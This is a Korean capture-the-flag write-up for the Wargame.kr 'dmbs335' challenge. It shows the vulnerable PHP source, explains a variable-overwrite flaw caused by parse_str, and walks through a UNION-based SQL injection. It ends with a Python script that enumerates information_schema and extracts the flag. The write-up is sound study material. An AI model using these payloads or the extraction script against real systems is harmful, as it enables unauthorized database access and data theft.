Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트에서는 dmbs335 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
이번에는 생각보다 간단하지만, 어느정도 PHP 코드의 분석이 필요한 문제입니다.
문제를 풀어보도록 하겠습니다.
| 문제 이해 |
문제는 다음과 같습니다.
여기서 문제를 보면, SQL Injection 문제라고 나옵니다.
그리고 문제로 들어가면 다음과 같이 테이블이 나오게 됩니다.
쿼리는 GET 방식으로 search_cols, keyword, operator가 있고, 소스도 보여줍니다.
소스는 다음과 같습니다.
<?php if (isset($_GET['view-source'])) { show_source(__FILE__); exit(); } include("../lib.php"); include("./inc.php"); // Database Connected function getOperator(&$operator) { switch($operator) { case 'and': case '&&': $operator = 'and'; break; case 'or': case '||': $operator = 'or'; break; default: $operator = 'or'; break; }} if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) { exit('not allowed'); } parse_str($_SERVER['QUERY_STRING']); getOperator($operator); $keyword = addslashes($keyword); $where_clause = ''; if(!isset($search_cols)) { $search_cols = 'subject|content'; } $cols = explode('|',$search_cols); foreach($cols as $col) { $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; if($col) { $query_parts = $col . " like '%" . $keyword . "%'"; } if($query_parts) { $where_clause .= $query_parts; $where_clause .= ' '; $where_clause .= $operator; $where_clause .= ' '; $query_parts = ''; } } if(!$where_clause) { $where_clause = "content like '%{$keyword}%'"; } if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { $len = strlen($where_clause) - (strlen($operator) + 2); $where_clause = substr($where_clause, 0, $len); } ?> <style> td:first-child, td:last-child {text-align:center;} td {padding:3px; border:1px solid #ddd;} thead td {font-weight:bold; text-align:center;} tbody tr {cursor:pointer;} </style> <br /> <table border=1> <thead> <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr> </thead> <tbody> <?php $result = mysql_query("select * from board where {$where_clause} order by idx desc"); while ($row = mysql_fetch_assoc($result)) { echo "<tr>"; echo "<td>{$row['idx']}</td>"; echo "<td>{$row['subject']}</td>"; echo "<td>{$row['content']}</td>"; echo "<td>{$row['writer']}</td>"; echo "</tr>"; } ?> </tbody> <tfoot> <tr><td colspan=4> <form method=""> <select name="search_cols"> <option value="subject" selected>subject</option> <option value="content">content</option> <option value="content|content">subject, content</option> <option value="writer">writer</option> </select> <input type="text" name="keyword" /> <input type="radio" name="operator" value="or" checked /> or <input type="radio" name="operator" value="and" /> and <input type="submit" value="SEARCH" /> </form> </td></tr> </tfoot> </table> <br /> <a href="./?view-source">view-source</a><br />
먼저 42번 째 줄을 보면, 만약 $col의 값이 subject나 content 혹은 writer가 아니면 빈 문자열을 반환합니다.
즉, 정상적인 요청일 때는 seach_cols에는 content, subject, writer 등의 값이 들어있어야 합니다.
그리고 해당 값이 있다면 $query_parts라는 값에 적절한 값이 세팅됩니다.
여기서 취약한 부분이 어디인지 찾아보았는데, parse_str함수를 통해 $_SERVER['QUERY_STRING'] 값을 파싱한다는 부분입니다.
_SERVER['QUERY_STRING']은 우리가 POST든 GET이든 값을 넘겨주게 되면, 해당 값으로 변수를 채운다는 뜻입니다.
만약 GET으로 ?data=abcd&id=identification 이렇게 값을 넘겨줬다면
$data에는 'abcd'라는 값이,
$id에는 'identification'이라는 값이 들어가게 됩니다.
이와 같이 넘어온 값을 변수에 채워주게 되는데, 이러한 부분이 취약점이 될 수 있습니다.
| 문제 풀이 |
위의 문제를 풀기 위해서는 우리가 임의로 특정 영역에 값을 넣어줄 수 있다는 점, 그리고 그 값이 변경되지 않도록 할 수 있는 부분이 있는가에 대한 확인이 필요합니다.
1. 특정 영역에 값을 넣을 수 있는 건 _SERVER['QUERY_STRING']이라는 코드가 있기 때문
2. 우리가 입력한 값이 SQL Injection이 되도록 변경이 되지 않고 잘 삽입될 수 있는지 확인은 코드를 분석해야 함
|
특정 영역에 값을 넣을 수 있는가 |
우리는 keyword든, where_clause든, query_parts, operator, cols 등에 값을 넣을 수 있습니다.
이는 _SERVER['QUERY_STRING'] 이라는 코드가 있기 때문입니다.
변수에 값을 넣어주는 쿼리는 다음과 같이 할 수 있습니다.
http://wargame.kr:8080/dmbs335/?where_clause=1&cols=1&query_parts=1&search_cols=1&keyword=1&operator=or
|
우리가 입력한 값이 변경되지 않고 잘 삽입될 수 있는가 |
우리가 코드에서 삽입할 수 있는 변수들의 목록을 살펴볼 때, 다음과 같은 코드는 무조건 다른 값으로 매꿔지는 것을 볼 수 있습니다.
11번 라인 $operator(값이 무조건 치환되도록 하였음)
33번 라인 $where_clause(값이 빈 문자열로 치환되도록 하였음)
39번 라인 $cols(값이 들어 있든 없든, 분할되어 Array로 바뀜)
여기서 우리는 $len, $query_parts를 이용할 수 있겠다 싶지만, SQL문에 직접 삽입되는 코드는 query_parts 뿐임을 알 수 있습니다.
query_parts 변수에 값을 넣어서 변하지 않도록 하기 위해서는 43번 라인이 실행되면 안 됩니다.
즉, $col에 값이 들어있지 않아야 하며, 이를 위해서는 seach_cols에 subject, content, writer 등의 문자가 없어야 함을 의미합니다.
여기서 위와 같은 조건을 맞춰준다면 다음과 같은 SQL 문이 들어가게 됨을 예상할 수 있습니다.
select * from board where {$query_parts} order by idx desc
위의 값에 $query_parts 부분에는 원래 $where_clause가 들어가게 되는데, 만약 col에 적절한 값이 들어가 있지 않다면,
43번 if문이 실행되지 않고, 우리가 입력한 query_parts 값이 where_clause에 들어가게 됩니다.
그리고 59 ~ 62 라인의 코드에서 $where_clause 값을 적절한 쿼리로 만들어줍니다.(뒤에 붙는 $operator 값을 제거함)
여기서 각각 다음과 같이 입력해보도록 합시다.
query_parts(unquote) : 0 union select 1,2,3,4#
query_parts(quote) : 0%20union%20select%201,2,3,4%23
search_cols : 1
그러면 다음과 같은 값을 뱉어냅니다.
허허허허허허 개꾸르
Injection이 가능하다는 것을 볼 수 있습니다.
여기서 싱글 쿼터, 더블 쿼터 모두 필터링이 되어 있지 않기 때문에 다음과 같이 information_schema 값을 쭈욱 뽑아낼 수 있습니다.
편하게 해보려고 불편한 코드를 작성해보았습니다.
import requests import re requests.packages.urllib3.disable_warnings() sess = requests.session() URL = 'http://wargame.kr:8080/dmbs335/' query_works = False # Test to Query if it works ========================== # id = admin # not filtered single quote.... # search_cols must not have the words; 'subject' or 'content' query_parts = '1' search_cols = '1' keyword = '1' payload = "?query_parts={}&search_cols={}&keyword={}&operator=or".format( query_parts, search_cols, keyword) res = sess.get(url=URL+payload, verify=False) if len(res.text) > 945: query_works = True else: query_works = False print('[=] query_works : ', query_works) print('[=] res.text len : ', len(res.text)) # GET table_schema and table_name ========================== # < td> tag parsing regex regex = r"< td>(.+?)< /td>" query_parts = '0 union select 1,table_schema,table_name,4 from information_schema.tables%23' search_cols = '1' keyword = '1' payload = "?query_parts={}&search_cols={}&keyword={}&operator=or".format( query_parts, search_cols, keyword) res = sess.get(url=URL+payload, verify=False) pos = res.text.find('< tbody>') data = res.text[pos:] re_list = re.findall(regex, data)[:4] count = 0 print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-') print('{} : {}'.format('1', re_list[count + 0])) print('{} : {}'.format('table_name', re_list[count + 1])) print('{} : {}'.format('column_name', re_list[count + 2])) print('{} : {}'.format('4', re_list[count + 3])) count+=4 # GET table_name and column_name ========================== # < td> tag parsing regex regex = r"< td>(.+?)< /td>" query_parts = '0 union select 1,table_name,column_name,4 from information_schema.columns where table_name=\'Th1s_1s_Flag_tbl\'%23' search_cols = '1' keyword = '1' payload = "?query_parts={}&search_cols={}&keyword={}&operator=or".format( query_parts, search_cols, keyword) res = sess.get(url=URL+payload, verify=False) pos = res.text.find('< tbody>') data = res.text[pos:] re_list = re.findall(regex, data)[:4] count = 0 print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-') print('{} : {}'.format('1', re_list[count + 0])) print('{} : {}'.format('table_name', re_list[count + 1])) print('{} : {}'.format('column_name', re_list[count + 2])) print('{} : {}'.format('4', re_list[count + 3])) count+=4 # GET column_name and column_data ========================== # < td> tag parsing regex regex = r"< td>(.+?)< /td>" query_parts = '0 union select 1,2,f1ag,4 from dmbs335.Th1s_1s_Flag_tbl%23' search_cols = '1' keyword = '1' payload = "?query_parts={}&search_cols={}&keyword={}&operator=or".format( query_parts, search_cols, keyword) res = sess.get(url=URL+payload, verify=False) pos = res.text.find('< tbody>') data = res.text[pos:] re_list = re.findall(regex, data)[:4] count = 0 print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-') print('{} : {}'.format('1', re_list[count + 0])) print('{} : {}'.format('2', re_list[count + 1])) print('{} : {}'.format('column_data', re_list[count + 2])) print('{} : {}'.format('4', re_list[count + 3])) count+=4
끝!
'WARGAMES > wargame.kr' 카테고리의 다른 글
[Wargame.kr] Level 27 - Dun worry about vase (0) | 2020.01.16 |
---|---|
[Wargame.kr] Level 26 - dll with notepad (0) | 2020.01.16 |
[Wargame.kr] Level 25 - QnA (0) | 2019.12.19 |
[Wargame.kr] Level 24 - Crypto Crackme Basic (0) | 2019.06.18 |
[Wargame.kr] Level 22 - keypad_crackme (0) | 2019.06.14 |
[Wargame.kr] Level 21 - crack crack crack it (0) | 2019.06.11 |
[Wargame.kr] Level 20 - lonely_guys (0) | 2019.06.11 |
[Wargame.kr] Level 19 - ip log table (0) | 2019.05.17 |